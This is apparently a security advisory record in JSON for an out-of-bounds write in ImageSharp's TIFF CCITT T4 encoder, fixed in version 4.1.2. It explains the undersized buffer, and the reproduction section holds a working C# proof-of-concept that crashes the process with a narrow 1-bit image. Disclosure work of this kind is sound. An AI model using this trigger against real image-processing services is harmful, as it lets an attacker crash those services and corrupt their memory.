CVE-2026-106110: ImageSharp TIFF CCITT T4 Encoder Can Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j9gm-c75j-xc9q",
  "modified" : "2026-10-07T20:24:28Z",
  "published" : "2026-10-07T20:24:28Z",
  "aliases" : [ "CVE-2026-106110" ],
  "summary" : "ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer",
  "details" : "### Summary\n\nImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.\n### Preconditions and impact\n\nThe affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.\n\n`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.\n\nA 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.\n\n### Tested environment\n\n- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**\n- Target framework: `net8.0`\n- Runtime: .NET 8.0.30; SDK 8.0.424\n- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nIn a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.\n\n```csharp\nusing System;\nusing System.IO;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstring mode = args.Length > 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length > 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image<L8>(width, height);\nfor (int y = 0; y < image.Height; y++)\n    for (int x = 0; x < image.Width; x++)\n        image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n  at ...TiffCcittCompressor.GetWhiteTermCode(...)\n  at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n    BitsPerPixel = TiffBitsPerPixel.Bit1,\n    Compression = TiffCompression.CcittGroup3Fax\n};\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "SixLabors.ImageSharp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j9gm-c75j-xc9q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106110"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SixLabors/ImageSharp/pull/3187"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SixLabors/ImageSharp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-787" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T20:24:28Z",
    "nvd_published_at" : "2026-10-06T18:16:52Z"
  }
}